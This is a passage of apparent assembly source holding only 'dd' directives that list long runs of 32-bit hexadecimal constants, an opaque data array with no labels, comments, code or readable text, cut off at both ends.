0D95D2DB9h, 0D2245B41h, 546B556Bh, 0BBC6C4B5h dd 9056EB32h, 17ACBD07h, 0AD0BDA20h, 4B0CD0F4h, 0D75EE2F8h dd 0FCBAB41Bh, 80EFF103h, 0BDEE1D92h, 565A25B7h, 54567A11h dd 0D955A65h, 5C5BDE01h, 0B441136Dh, 3B6119F6h, 90BCD960h dd 0E946161Bh, 50E9E39Ah, 11306B9Ch, 3BCFB893h, 243CE452h dd 8148EFC1h, 0B8578EAh, 0DA0E844Fh, 988184BBh, 0B196FD08h dd 9856FFEAh, 980428AFh, 842053B6h, 899C51EEh, 89B6ADBEh dd 0CA84FEB3h, 41F3A0B1h, 15F22BCBh, 3FED697Ah, 0A0BB9C83h dd 760D7F7Bh, 0DC227849h, 3A58CD78h, 77050307h, 834A637Fh dd 323501C0h, 56CA071Dh, 0E5DF7E4Eh, 7FC78942h, 2941237Bh dd 0B864B9C2h, 0C88FD83Bh dd 3264615Ah, 0E93828EAh, 0F700074Ah, 40A73DB8h, 0FFD0F4B7h dd 0C84ECC7Eh, 0D4BEC39Dh, 9040991h, 58C3FB89h, 21C2BF7Eh dd 0DD96D7C1h, 906CACF7h, 0B05FA210h, 0D1952624h, 0B753C026h dd 0F75886A7h, 9E8F2410h, 0D125389Bh, 8F7BB1DDh, 0D96E26E0h dd 3250E4A5h, 8D1F767h, 792521E4h, 18C3C46Bh, 411CA468h dd 0D9B76A2Bh, 60B5C2C9h, 7D7CE2DDh, 3EDB483h, 80050607h dd 0C33331F5h, 0C7EB83F4h, 3E72B62Eh, 955F70FAh, 7F4B41D1h dd 0E97859B4h, 29BED953h, 0A4427958h, 5D12A19Dh, 0E66A1468h dd 9668C36Eh, 0C43D1040h, 6F2914DDh, 9897108Ch, 63277F48h dd 0CC9712E6h, 0B9EF5E08h, 257A4C20h, 6B187C19h, 0CBF08255h dd 0E3FDA907h, 1308C0DCh, 12396629h, 95175003h, 0BE058818h dd 66A27D4Bh, 10EF8B4Fh, 3013B755h, 0B1F1E8F8h, 312FAC7Bh dd 46CD8ACh, 67219813h, 0AF04ADFDh, 0FC5DDD9Ch, 6349205h dd 3B3D27BFh, 0DD078064h, 0E99BC4C2h, 0B9F32265h, 5E892127h dd 79D07376h, 0B037AE95h, 90F397BDh, 24093A88h, 6A46032Ch dd 0D7DA2F40h, 7468E4E8h, 0D1E72B62h, 0B36607CAh, 6A51145h dd 0F1821848h, 9FF8CD4Dh, 7EB05849h, 0E5B67095h, 0A0E6801Ch dd 0FE6FCEC7h, 0F6F1103Ch, 2082B0F6h, 0EC9DE2A1h, 7BAE200Eh dd 4113BA75h, 0C0E04C4Fh, 0CB472D4Bh, 8938C1FCh, 8F2AC801h dd 53A6C0B6h, 4BD709B9h, 27F6EC5Ah, 9FBF957h, 0C822DAE9h dd 48F7C331h, 9562A283h, 0C688D810h, 3A50583Eh, 77A7CAE4h dd 80F7EE40h, 79B75854h, 0EEE9C121h, 169337FEh, 0ADFD2BB9h dd 0F0C5E9A0h, 4F6194B7h, 8BC40FCBh, 0F91D9953h, 0E7497E23h dd 3ED572EAh, 1EB3DA01h, 2B3C04Dh, 8006060Bh, 0CB4D86C1h dd 40CDB093h, 0F85829F6h, 0B2E0111Bh, 0F9EBB57Eh, 0E4DF45DAh dd 3CB780EDh, 471B3E05h, 31C95498h, 807809F1h, 0E554417Bh dd 6C4F29D9h, 0B9D217E8h, 7BF84C1Bh, 0A59AC597h, 546A7059h dd 0B8058E38h, 750C962h, 79FC3D15h, 6EE23BF7h, 0E93C3A34h dd 22E90CD1h, 0EF5822EDh, 19408321h, 0E7116D2Ah, 0BFC1E8A4h dd 0FE3C196h, 0D03216h, 0F1176FBBh, 0DD2138h, 0AC68575Bh dd 5F345E3Dh, 0A2394698h, 0D8362D3Fh, 28AD02C8h, 0FD2977FAh dd 780201F4h, 0F6750511h, 0C05312A8h, 5BDA21C6h, 0E44FB298h dd 0B5C32A88h, 5F481D7Ah, 18F41237h, 0FC1069CAh, 0EB052FB7h dd 0E35FD195h, 0E8D2B43Ch, 2121A408h, 206E6133h, 6A685BEDh dd 52CC5C5Ah, 4A3675ADh, 7972EC1Ah, 9687440h, 1EF73FCAh dd 0B9025B82h, 36C25F05h, 250A0A0Bh, 0DC17E5C4h, 2604293Fh dd 8AAF5AD3h, 0BEA426Bh, 0B859B368h, 56DFE919h, 6F4C5E22h dd 0D82F7238h, 0D5683D99h, 0C55A7C7Fh, 9F986EBDh, 0B4E913FCh dd 127C9810h, 0E0134355h, 91A8505Ch, 0BDBA1663h, 80D6B707h dd 33BC8EFh, 2CD7F60Ah, 201FDB0Ah, 0B50B20E2h, 517100A0h dd 97463A26h, 0E04F8510h, 0A77741B6h, 0E62C7EF1h, 0D5E91658h dd 0E9D994F0h, 0A7B15A34h, 3E72D32Bh, 0B2C50B00h, 0FE59EC28h dd 145348C4h, 35931C13h, 7345AF61h, 0EA346F6Ch, 52CB1EA9h dd 18594474h, 0A02F40F1h, 4A007765h, 0B8506094h, 17AC079Fh dd 0A148E9C4h, 0E5ED7521h, 0CA3C26h, 0D275C8BAh, 0E4FA3122h dd 4608D2D7h, 0D76E0CB2h, 53873400h, 0EF64ACBBh, 843FE331h dd 0D6A51FA4h, 1AD8D010h, 27138A54h, 1BFDBF7h, 9562D00h dd 1EF3D868h, 0E0F4503Bh, 0D566F518h, 94E9132Eh, 0F7C4B580h dd 4FD6BD94h, 0B07248ECh, 6D5095F4h, 0CE958F9Ah, 654FFA76h dd 0C79DA760h, 0DB494FAAh, 83419341h, 0EA68BE46h, 6CE354h dd 1707B837h, 5D057B63h, 0E3D92600h, 8AE9C389h, 84A0958Eh dd 4F521115h, 5A0EC097h, 537B1D19h, 6D458568h, 283B83Eh dd 31B85802h, 13B7D401h, 3A2201C6h, 28292D7Dh, 0C9810365h dd 8F3B1815h, 0C2DB406Fh, 4E29D459h, 28698BCEh, 4CC138C6h dd 1C5D150Dh, 18B3EA30h, 464BCD16h, 693D7089h, 0E3279821h dd 1EC0EAB7h, 0C923FE11h, 0CD46C489h, 5B20BE45h, 3F141FA0h dd 0C6BA605h, 0F218EA83h, 0E42A2C07h, 0F7C38706h, 560860D3h dd 0A6F0B059h, 7FB8017Ah, 0B63DB441h, 0D234523Dh, 0B5D0B215h dd 6C52F5h, 0C46BC12Dh, 0BF5BD4E4h, 0B210DACBh, 4C582D5Eh dd 8E70975Ah, 0ECF08F20h, 6DBA0468h, 0FF5D746Fh, 0BFE9E230h dd 6B6CB721h, 0D2850440h, 609CBC5Bh, 0E561BAAEh, 1525EDEh dd 8B101B9Ch, 406F6C33h, 214B5A07h, 0F68DE42h, 0FA60F643h dd 42AC54D1h, 4279681Ah, 97CB00B6h, 9D032269h, 0F8A5A4FBh dd 520694C2h, 1BC8E6D4h, 40E4F4C5h, 227E1E27h, 4739D31Ch dd 73DC886Bh, 8313F190h, 7EF15BDFh, 0DF5AE26Ah, 93F8C656h dd 7709E9CFh, 5EC92A56h, 6C662DCBh, 0BA1BE919h, 0D82FFE61h dd 0BF490DE7h, 1AE0274Eh, 6D498190h, 102F7390h, 5A0607F1h dd 0DD78D368h, 48FDF920h, 0E4069050h, 48408776h, 7804680Ah dd 2C07E331h, 0FBAE4BDDh, 2EE1C89Ah, 9A00B35h, 23F97FE9h dd 5C50B849h, 6746B53Eh, 12B05D57h, 949D7F06h, 0F97C91EDh dd 0B11FFC4Fh, 3A59FC99h, 56EACF04h, 0B500FE88h, 29503307h dd 820990F3h, 93C4DD08h, 463D3B6Bh, 4EDE7C4Bh, 5A26C2A2h dd 86CD41F5h, 0FA883D60h, 17979692h, 42F9045Eh, 0A8680785h dd 27C4E68Bh, 8CD96EB1h, 0F9A50285h, 0ABE98AC1h, 0D95D177Fh dd 895A2D5Ch, 91B415Bh, 0C300AE7Ch, 3312FADFh, 0D9047268h dd 0A4E9F8BCh, 3CC051A0h, 232702E7h, 9700C109h, 35073C01h dd 2E691109h, 2714564Dh, 2377659Ah, 0CB902Ch, 8158C66Dh dd 0AA733FCEh, 1CD72E4Ch, 0C7D207FBh, 0A16A0EF1h, 780F409Dh dd 6B48EA7Eh, 749502CDh, 0E94A3839h, 0F3EF427Fh, 5B61C1C6h dd 16B90C86h, 0D05A961Dh, 0F02F0A89h, 6E996983h, 9554F501h dd 847B3F36h, 0D205BF10h, 982DC2CFh, 11173A89h, 4BED947Fh dd 0BEAC7B3h, 0E72CF080h, 474D828h, 54FC5FCh, 0E12A5BC9h dd 0DF23A19h, 0A1F05CC9h, 0A8AC9195h, 0ED4C133Fh, 0AE0C9FDCh dd 0FBE6E8Ah, 0F7E3236h, 0CCF04649h, 0DDC48004h, 0BAC2E328h dd 1E67F09h, 4CB32C4Dh, 0E6462F82h, 0DB10138h, 9FE9D1F6h dd 53249DDEh, 6B0198Ah, 0AB1E360Bh, 0FA38FC9Eh, 7B9FD044h dd 5BB208CAh, 4C01742Ch, 47075E11h, 72520E85h, 73BB0C51h dd 0DD00B853h, 5193779h, 5A7E776Eh, 1EB85Ch, 73395F2Bh dd 4AC9E957h, 8270EC0Eh, 57455968h, 2C983D4Ch, 46E7B84Eh dd 70FBD4Fh, 1E147DECh, 0B11F660h, 0E95F12ADh, 0AD145D30h dd 244761Ah, 51B3B42Fh, 0E19996E1h, 55BA60A4h, 6783BD1Ch dd 28F45853h, 0E29858C9h, 0A4AEB7C7h, 0C7E19533h, 0B8BB94F5h dd 0EB68C288h, 8992510Ch, 4B7473CEh, 5805DC7Ah, 73BD75E7h dd 0D468412Bh, 4E284E45h, 12DFDED1h, 0C8AA743Bh, 4EBE0B8h dd 57340CFEh, 6D139143h, 0D50A765Ch, 0E03207EAh, 906406A3h dd 34291990h, 5E1280AFh, 0C8A47FA8h, 3FA45B41h, 0AF279B7h dd 4F705A8Dh, 0E6B22024h, 53E737F5h, 2FCB38E6h, 0E768EAD1h dd 7525CF8Bh, 0FC8DC5Ah, 0D412E4E9h, 0A0D6FF28h, 0ACF99F0Ch dd 5303733Eh, 0E9FD70E5h, 52310F0Fh, 5932CB6h, 0EB15AAB1h dd 6E745B74h, 6809B8B7h, 60714B64h, 2FB41F88h, 5004078Fh dd 864AF2C1h, 0B7F3B572h, 28CAD6E3h, 6C5D1B4Ah, 0E0C016F3h dd 80D3B802h, 66AC6856h, 0D3105C2Bh, 111B2DB0h, 81687E3Ah dd 25D62919h, 0BE31F001h dd 5AD00810h, 2D15A305h, 56965EEDh, 0E0D1F15Eh, 874B5BD9h dd 0C49950h, 0BB51B852h, 0AE47AD40h, 8109559Ch, 342C57E9h dd 7D3BD00Ch, 41B5CA32h, 9FDC0806h, 0C1B4C905h, 295D108Ah dd 0FE20393h, 0B84B5C72h, 2D70F1E3h, 0BE687755h, 0A17EA6D3h dd 0E90D349Eh, 38573BECh, 0CE493CF4h, 6FBC45F0h, 0A0C58160h dd 1D64054Ch, 0D7D8E945h, 593E530Eh, 0D8F70A25h, 1FBD02CCh dd 0C5091651h, 0D0205844h, 165E64D3h, 6027A858h, 5BEA5A54h dd 0B9C4BFD9h, 0C089E93Bh, 410F9050h, 20B088F4h, 2FA22C8Bh dd 298FB474h, 0B94A4C8h, 2F7995A3h, 0CA49D62Bh, 0A552391Fh dd 1594B1F3h, 0B039FD5Ah, 2722F2EBh, 1545139h, 30E9114Ch dd 5E7BD4E3h, 0E4C1C19h, 0F02EB3h, 0FE4B86AEh, 0B2A0CA90h dd 61F971AEh, 4FB9528Ch, 0A76BE102h, 907A600Bh, 0C10AEF6Bh dd 5C252996h, 8060918h, 0C214821Ch, 0FCE24A7Ch, 169CE8E9h dd 9F75653h, 5F54E80Ch, 0D818BA63h, 58296C66h, 0F885D9D0h dd 750067Fh, 2A256039h, 698659BDh, 93CFC25Eh, 0BEA8D08h dd 0BD7F652h, 586BDC30h, 0A34A74E9h, 0BBCA57E8h, 726E428Bh dd 623AE901h, 0A66A896Eh, 2D62EFBBh, 0DB0B5DEDh, 44DCA600h dd 295B5C2Bh, 816C0C4h, 75D9DE19h, 0BD4ECF68h, 7E0B9F5Dh dd 0FC062BA8h, 1DEA2795h, 7AADFF5Eh, 0A1DB27A3h, 0BB532F10h dd 645C2709h, 0B0CD0133h, 4C39722h, 8B730E0Ch, 0F9DA9055h dd 6D505163h, 9C020BDFh, 76E992AEh, 5127A462h, 0AF9E74EFh dd 0B21222Ch, 577BE9C1h, 39CB1975h, 6252AF52h, 0D3F2D824h dd 0F5CEB8E5h, 262A0FE8h, 0FC9CFA88h, 264498ABh, 6920A5CCh dd 0D0202C4Ch, 2740769Eh, 6688BA3h, 8080CD7Ah, 62B61C7h dd 0F7FA8830h, 0FC65A6FAh, 0FC3DF6A4h, 8942CFBEh, 974EDFEBh dd 12464500h, 57DD0160h, 2908A1BFh, 40A15F60h, 2D0F0593h dd 4D68D66Fh, 8660A1B6h, 0E60912B9h, 2D01BF06h, 1C08348h dd 0E02B602Eh, 2217F453h, 715751E9h, 0FA187A9h, 11DE62A3h dd 5A0B56AFh, 0EEE5D920h, 9AE98007h, 0C19AF40Bh, 6C087D68h dd 2820CC30h, 2E649FD3h, 0B7606120h, 65FF9CE2h, 37E90C60h dd 0F0582C45h, 0E0B500DBh, 0EF3032B7h, 1D07359h, 6676F780h dd 0D2194C68h, 9B54F623h, 0FE5BE001h, 6FD4A1C7h, 0A95251FCh dd 0D99D72D7h, 4B2E9255h, 0A472B9BCh, 8F2A85BDh, 2BF1E11Fh dd 42BCDE2Ch, 660495F5h, 582CB5Ah, 9236859h, 8854DCBBh dd 14BDF7B2h, 0C26812DFh, 907FF64Ch, 0DF169306h, 83E95B42h dd 4A85F4E2h, 6E950223h, 61573940h, 856E21EDh, 208BAFACh dd 48F2DF4Eh, 0BD5A8454h, 0CF650B13h, 0EAC16B21h, 76616906h dd 0A12950Ch, 12574E6Fh, 0C16D55D9h, 5148EE1h, 2F77F801h dd 4D7029CAh, 90061869h, 0D6F63E79h, 894FC527h, 0E607291Ah dd 0B252175Ah, 1D23BE3Ch, 0C28C2C51h, 0C2F6AEABh, 8902B1CCh dd 3203DDCEh, 2C931B80h, 0FB5D85F5h, 8F1273DDh, 0B7C4525Fh dd 52AC9220h, 0B3285350h, 0D84BB488h, 0CC973FB2h, 7141E043h dd 0C03BC47Ah, 496FAB56h, 3EB91B4Eh, 0C50B0841h, 5A351E60h dd 3AD77EF5h, 13E92B91h, 0FFDC122Bh, 666E3E41h, 7CB7904Eh dd 297291B8h, 0EC1831DAh, 587ED408h, 3EBDCF05h, 42FB5A56h dd 5169B405h, 34EF1CC0h, 9601276h, 8B2BED18h, 4A6A982Dh dd 1822A3A3h, 0CBF354B5h, 50371D06h, 7AF38072h, 554A3C7Ch dd 4F01BD77h, 0EB311A16h, 0ADADC1E9h, 0C087CB69h, 11FA2870h dd 0EA4DEB60h, 5E945705h, 83E5062h, 68E6582Dh, 6D9EE924h dd 0BFD214AFh, 65F93D2h, 4883A120h, 96476007h, 179107Eh dd 32DA58BFh, 0EE7D56F7h, 5C036A77h, 0DAC895FDh, 5351AC00h dd 0B339B652h, 0C060427Dh, 21B7BB6Dh, 0BD4E02CCh, 3B791F33h dd 0B92827FCh, 0B650448h, 82B64A16h, 2EE52890h, 0EB60FBC5h dd 57E2A131h, 0A8EF8901h, 0B75D8ED5h, 29511301h, 0ECE66CAFh dd 4B01A140h, 0AE1535DEh, 0BAD4C898h, 1CB832D0h, 64572DC1h dd 12844ACEh, 788CAE30h, 0C4989864h, 1353BCA2h, 4511DAECh dd 0C4342730h, 7E5E4C07h, 12B9BD10h, 9BB9535Dh, 0A23681B5h dd 0B100340Ah, 0E1809B0Fh, 76E65BCh, 52588CFBh, 82EF683Ah dd 0E95A0B67h, 31EB5022h, 9110F330h, 0FFBE02DBh, 6B1F2661h dd 887BADA1h, 0F7A2E9A6h, 584BEFF2h, 406408F0h, 0B903B809h dd 2D4C0C5Ah, 0DD08953h, 1D1DFFC4h, 0C040369Fh, 41BA7323h dd 8C79DC05h, 72B2804Fh, 0C420004Ch, 40F1292Fh, 2D196C7Ch dd 749046DFh, 502E6EB2h, 80B1162h, 85465D6h, 451C6888h dd 1717EE7Ah, 923D7783h, 0A5DC62BEh, 0A480478h, 17DC2C8Bh dd 4D4A8BA0h, 7830D73Eh, 0B77E3A68h, 0A5B27E14h, 862E679Dh dd 0F1FE27E9h, 0DD24D777h, 7787547Ah, 57FE5F64h, 8650B5A2h dd 28034CE7h, 4E98283Fh, 64570C16h, 3A32B626h, 0C7B4D805h dd 67FE3982h, 23EE0080h, 0E96C374Bh, 275F55Dh, 0F6381BBAh dd 550D606Dh, 0C662403h, 4A590636h, 0EB040C30h, 3B8C182Eh dd 14016101h, 5989316Fh, 33873E93h, 1688CFB4h, 0AC7C5ABFh dd 6650DF6Eh, 9613533Fh, 0D69BA8F0h, 0B42127AAh, 0AB4390C7h dd 4B48F213h, 182F0B05h, 89C882B0h, 0CFDC09D7h, 2A7CA310h dd 31AB455Fh, 1915FD6Fh, 78657A4Dh, 1570BAAh, 0D199F683h dd 1A8D8F4Fh, 4B6E9C97h, 1AD75F21h, 82398295h, 0E0FE80Fh dd 382EA40Ah, 7F8104CBh, 60FEE781h, 56B88193h, 3C1F0768h dd 0CE58C0D6h, 0F44A0515h, 0B192E914h, 5EA773A4h, 15944321h dd 5A90CC7Ah, 0CDFC034Fh, 725E86A2h, 577D9627h, 0A64FFF59h dd 9102273Dh, 5203CC98h, 67508CB3h, 3E718B2Dh, 2747513Eh dd 0C113C9B3h, 52EBC5FBh, 0E04ABACCh, 0AE925D51h, 461A595Fh dd 5FC74218h, 7D09B002h, 0E9AFD20Bh, 844237Ch, 7E533E68h dd 6088921h, 2D0C100Fh, 0FC64095Dh, 40525A53h, 0D8C33D29h dd 0B987343Ch, 0DB045EA8h, 0C1203061h, 0C5143A25h, 5D0BB33h dd 1EC82FCh, 380168C5h, 68AF502Eh, 0ECC1C53Ah, 61884CDDh dd 0D06DE9ECh, 0C204287Eh, 26CE63F9h, 9A1DB850h, 0D04F2949h dd 0E0D909A8h, 3AC8F46Dh, 40829458h, 0A975D1E2h, 316BE397h dd 21FB0189h, 28CB8B9Eh, 5D8484C1h, 32280012h, 551582Bh dd 400386FFh, 97173035h, 7E956BD8h, 777EEBC1h, 0E979C8E9h dd 0DD9C6039h, 674268C2h, 72BD6A7Ch, 0B48D25D5h, 80C05779h dd 4A3094EFh, 433798F8h, 188C514Fh, 576940BEh, 0C0B7DFF2h dd 0E8015BF4h, 7649250h, 46B925DAh, 292ABF8Fh, 55753008h dd 916067E9h, 5777F7A5h, 0AE3A4AF8h, 0CE50B01Eh, 5D77893Fh dd 0BC4A8B4Ch, 0EE29500Ch, 205C717Ch, 93EF8159h, 32AD76A7h dd 0BE947678h, 0ABB015Ah, 7B3CF668h, 3FCC5977h, 10CAE94Ah dd 0FF48DECDh, 92B5B34Bh, 6F943DAEh, 0DCABBCC4h, 4F44A749h dd 0C796A1F8h, 582B7104h, 45C46A5Fh, 0AFD617BAh, 367D0A3Dh dd 5DBD0C98h, 4C173405h, 91FB48E9h, 882FCC49h, 87A59CE3h dd 0E2D6F7F0h, 0C9D90930h, 0FA241E2Bh, 71669742h, 0EC9542CEh dd 564507F6h, 0CC0E61AFh, 9A12413h, 378A6E00h, 71613558h dd 404C176Ah, 0CB200525h, 0E59B0378h, 55B0C015h, 2D0E0BBDh dd 0EDE905DDh, 5BE0639Eh, 0FBF50581h, 0F7911h, 0EF4BF882h dd 0C25DE963h, 4C463760h, 0E66588E1h, 1579FC21h, 0F9B3A085h dd 77618470h, 719D5E2Ch, 0E1722FECh, 0CBF351A0h, 39805980h dd 0EC9BA1C4h, 441C0C1Bh dd 0CB1258E1h, 0C3C1A32Dh, 0B4DE287Bh, 0EB804700h, 50E32818h dd 2A9CEBB0h, 92684458h, 0C498EC12h, 0A3FD03FCh, 0FE56A800h dd 2F28169h, 0C0AA0C27h, 4B7A4B5Bh, 4CCACB6h, 51D115F1h dd 0F200A2F8h, 0ED1B91D3h, 0FB40AFE9h, 8BE650C0h, 31574114h dd 0EF493065h, 9F30347Bh, 0B3CF17C0h, 555E2C11h, 9D300B1Bh dd 5198F811h, 0F4C0FE92h, 849650B0h, 26AB762h, 9E769968h dd 7254D427h, 4D11FA00h, 0F2A1747Eh, 0E90D8515h, 25EBC7D4h dd 53F008C7h, 0EF134813h, 4B3016F0h, 85C2B2E5h, 0C42CE828h dd 78EA702Ch, 9770E9D0h, 5A51807Bh, 0B7E6EEh, 0BE665639h dd 346D7A41h, 1236EA8h, 0A24326AFh, 818A744Dh, 7B6FC924h dd 24020E13h, 5F505508h, 68041B64h, 37514F94h, 0D30FE3F8h dd 0E169953h, 0BCB39735h, 9CAFF54Ah, 6E405BA3h, 0A83C25E9h dd 0AAEEAD72h, 56699F62h, 9154C6Fh, 2CD64574h, 3AC9E055h dd 32E40538h, 0C8BD7CE9h, 2FDA4B3h, 1218FEC0h, 0FBE9C423h dd 2D180BCFh, 0CE097FD9h, 28BC31E7h, 7DE04BD1h, 68070A0Fh dd 66F52AF7h, 4FD45856h, 0D0712A0h, 7C2B9990h, 0C1591FF6h dd 0F79307E0h, 833530D3h, 3B125AFEh, 2F405EE9h, 9915A52Dh dd 0BEF900Ah, 27C53913h, 1FDFF700h, 0F1EC5329h, 19FB4F17h dd 96596CF0h, 0E8586241h, 496645FFh, 0BB53CFB0h, 3079F109h dd 4194DA58h, 290B00FEh, 0DB4AE9CEh, 0C9BFEF00h, 9034534Fh dd 69E10A97h, 10F46762h, 68BC4FFCh, 0CE409741h, 5E7AABF6h dd 57E3A0F3h, 0D2C37D0Fh, 0D6F33701h, 0AFE5D05Fh, 2DEE45EAh dd 354CD718h, 0A205D88Ch, 0AD6B6507h, 6B885ADEh, 0A7D12DBAh dd 0E43CF74Bh, 0E74C552Dh, 54680F12h, 0EE0E6024h, 99F5E2C1h dd 20C90D00h, 5786301h, 0F0B4BA01h, 2E6EF12Ah, 0DBF16302h dd 958BDFD2h, 701EBA54h, 64F50762h, 0B4022610h, 5BC0B8B4h dd 974CB1E8h, 3434A05Fh, 2659519Dh, 0AA2114B8h, 7D89E42Dh dd 7B9700FFh, 95E69F02h, 0E2200D64h, 8B659FC2h, 96B5F215h dd 49A13DF9h, 0CB5207E7h, 0CE39E94Bh, 0F5AF4C8h, 58E63059h dd 0AFC8F52Bh, 0FDBA72EFh, 14D085Eh, 0A9FD3BAEh, 0CF010B8Fh dd 0D60EFA84h, 0C1293D55h, 0B06EBB9Ah, 12422317h, 6742DFEh dd 0E92D0BB8h, 5DCE615Bh, 89A756C6h, 0B8574CFBh, 9F5AC5FCh dd 2C448371h, 0E703CE95h, 0A99F97C1h, 4689CE31h, 3FD97BDAh dd 0AD95AF4Ah, 0FA0954B3h, 805085C9h, 0CA1AF124h, 9EB80124h dd 29954764h, 282730E8h, 1ED4E241h, 0C1B8BD4Bh, 7B4B1968h dd 0FD469537h, 46064431h, 0E648D1E2h, 53925DA2h, 743D01B1h dd 63E9DA9Dh, 3195126Fh, 7A0C67A9h, 52CA3FB2h, 0FFC13598h dd 59EC0B81h, 8768F37Eh, 0B9CCB1E9h, 532F00F6h, 410530ABh dd 2B5E7A15h, 741ADECh, 443D2860h, 0F173F758h, 27C36816h dd 744571F5h, 4A971704h, 67C28000h, 0E490D520h, 3C03ED40h dd 4E173862h, 0A46EF895h, 0D209D30Bh, 86DC9560h, 0A7BE011Dh dd 587FC16Dh, 0CB81F23Fh, 4FB05F52h, 2A0470F5h, 7CBF6812h dd 79A631ABh, 0C1310190h, 0C423876Eh, 931CEC4Ch, 5B586E04h dd 27EDBD00h, 314E25C0h, 0E24B95ACh, 6CE9CF51h, 715A3064h dd 0FAE0BF91h, 9591CEABh, 0EB95F828h, 0F5DA4A93h, 0D2EF329Fh dd 58B5C1BAh, 0D3A79DB9h, 0E920ACCh, 3AE6BD5Bh, 39886426h dd 2649DF08h, 35080043h, 7E566748h, 8A0B2DE8h, 0F0C31662h dd 295F2D05h, 0C02F0ACEh, 2BA5B61h, 2A451AC1h, 841DE35Fh dd 0B6025254h, 293E8C4Eh, 8D8887Dh, 58138713h, 7C8B2E00h dd 27E9092Ah, 924CEB0Fh, 23E12F98h, 7C4E1088h, 0D20A554Ch dd 38FFB2Eh, 470245CBh, 5741FFF5h, 645246BAh, 0E8220C81h dd 0CDE919ACh, 27297AEFh, 0AC9F36Ah, 0C2D011E9h, 0C3D2EE9Dh dd 7CFEF4B1h, 88E53EB1h, 583C059h, 7160EF3Ch, 7F5E300Ch dd 9F1B04Ch, 0F599A9FAh, 998B1709h, 12C8D96h, 4F17BDFBh dd 1008BC0Ch, 0B8B2B5Fh, 85E905B5h, 0BE89426Dh, 536103DBh dd 8B73D9E6h, 0B056630Bh, 1733C648h, 0B02EE937h, 66C9438Ah dd 20BFC601h, 80094EFDh, 455138C3h, 0AE0CB44Ch, 0DD10908Bh dd 3BB905E3h, 0FBE835Fh, 78C691C5h, 7B794638h, 7F719725h dd 2C089E08h, 2CD83DDEh, 13489F84h, 85E01CAFh, 0FE5542DAh dd 0C8CA0B63h, 68594D1Fh, 0E634A49h, 57FEF187h, 0D3A9E968h dd 27CE7E08h, 1520D9DAh, 0A5B84E87h, 0FD6B5570h, 0EB313584h dd 268A3980h, 208798BAh, 95B24C2Bh, 0FE94B6F0h, 87E4680Dh dd 9754CAE8h, 0DEAFA859h, 29D9AF20h, 7429556Bh, 0CBE1566h dd 0A114D77Ah, 946EE915h, 0BE7376D9h, 0A8A1C17Eh, 2E9825B9h dd 44EF3164h, 1DB655AEh, 76A6801h, 16B1087h, 3B0520B6h dd 0F5C02B34h, 0C3FBB5E9h, 505D542Bh, 0F7564ACAh, 425DFCF2h dd 9A825E54h, 0FF7A631Eh, 5447B025h, 9C55EB27h, 2AE916DBh dd 6CB22986h, 61FAD348h, 17CEC1B7h, 0E7AADF6Bh, 7AC1658h dd 0CF012A64h, 6BD1F7ADh, 40E73AB0h, 522D6877h, 23749841h dd 2A740A39h, 884EFC1h, 5B0BF902h, 9A27551h, 3B5FE01Fh dd 0F0FCD9CFh, 2EE7A76Fh, 30427E10h, 43E6F147h, 970BAA67h dd 51248068h, 45382E2h, 535478FBh, 0FA092228h, 5862886Eh dd 8929586Eh, 0ABA0CB17h, 0A87C7838h, 80B3A4FAh, 0B02E7BB5h dd 0CB3F7B6Eh, 64E7A0ACh, 78B2BAC3h, 5D9F3C9h, 20FB8746h dd 0C09EA23Fh, 88FD5969h, 290946B2h, 2043ECC8h, 81004DEDh dd 0D00DCDF2h, 5D3216Fh, 6EBC15Ah, 92D98243h, 90F25BECh dd 0BF0474BAh, 0A888B031h, 0AE2A16BBh, 80BC0375h, 4120680Bh dd 8FC1DE1Bh, 9F346B6Ah, 203EB1AAh, 57829BF5h, 241C11FAh dd 7A7B050Bh, 0E370F0Bh, 6728F54Bh, 2D5D1708h, 2A45FD26h dd 3D7CC16h, 0EAA0CC94h, 4DCC9D5Dh, 0FE6F100Ah, 0F40ABF35h dd 5F39F090h, 0C1A3F56h, 65C75FF1h, 729056ADh, 0DF68D418h dd 0DE735B48h, 2267DB09h, 0D72241h, 6E10BA52h, 4A2CC51Fh dd 5A074009h, 47424C94h, 47793500h, 5AD63157h, 0B53BD09Dh dd 85BB6082h, 6A4BB900h, 1605862h, 402C3748h, 79EB0741h dd 0AF2925F1h, 0D1AF5F12h, 1DB62E5h, 60DDC288h, 2C2F126Ah dd 0ED0E8178h, 3237B0BAh, 57BB9C85h, 7C1B71A0h, 5BBB0045h dd 19BA1F5Ah, 0F914C6BEh, 40B7AE28h, 34B5DDE1h, 0EEC70E49h dd 2743C423h, 2CDE7AB6h, 0F8AB162h, 0E5BE1EF7h, 0B33E907Dh dd 0A67BE173h, 3E6E52A5h, 0AE39689Dh, 0AA288D00h, 0BCA814Dh dd 799A3A5Ch, 296009h, 66E0007Dh, 73D78853h, 0F9C14B51h dd 0A5BC2D8Ah, 0C7FBE3F8h, 3F51E0AEh, 0D548F775h, 13840652h dd 55E7BCBh, 69AFACEDh, 586AB8ECh, 0E9060404h, 0C6D5558Bh dd 0E68388EEh, 27524440h, 0FE1DEB6h, 539130F4h, 0F698B700h dd 80CFFED7h, 88B816F7h, 0C83104FDh, 4DA1478h, 33404D0Ch dd 1D5A50FCh, 0AACDE93Dh, 34B25185h, 192853Ch, 1903C668h dd 0C2A6206Ch, 0F7010DCCh, 0B1EF4007h, 0B252CB07h, 80D1FE73h dd 0C2CC88E2h, 0C50CC857h, 0D1286102h, 4E86C15Ah, 0E90A0696h dd 4FCA8E37h, 61A3E9D3h, 0F57A2D0Ch, 0F2A63A0Bh, 4AD3F910h dd 0C89351C1h, 56EDEB81h, 0A68268F4h, 0A64E2DACh, 0F63187DBh dd 5505591Ah, 5726B390h, 0AE5570C9h, 5D37129Fh, 0CEF2D4C0h dd 0C19818B5h, 0C14E9602h, 944AA2E9h, 7A0C325h, 617F52E6h dd 65F5CB87h, 0D6869B94h, 4FA02790h, 4436273Bh, 2F7627FCh dd 52F6BB94h, 57585CE1h dd 6BEB6085h, 47C704E4h, 2CFE17FDh, 7BB553BCh, 7AD9E266h dd 0D8DD5B07h, 66802C6Eh, 87C59BDh, 1828439Ah, 0E448F32Fh dd 0B9F673EDh, 0BF5C9223h, 2EE9FB60h, 0CF575CC7h, 872CDF20h dd 709E5F7h, 0D993804Fh, 265B4BABh, 1716FA01h, 92EDECF1h dd 0C1C07BB8h, 6292656Ch, 41F6294Dh, 0B8133B08h, 0ADF3FD71h dd 70FCBB01h, 0E3A8FD33h, 1940A068h, 0A7A825E9h, 0B462AF74h dd 5BA005Ah, 3473BF09h, 6CB86290h, 0D8278D05h, 0C380417Bh dd 981548C8h, 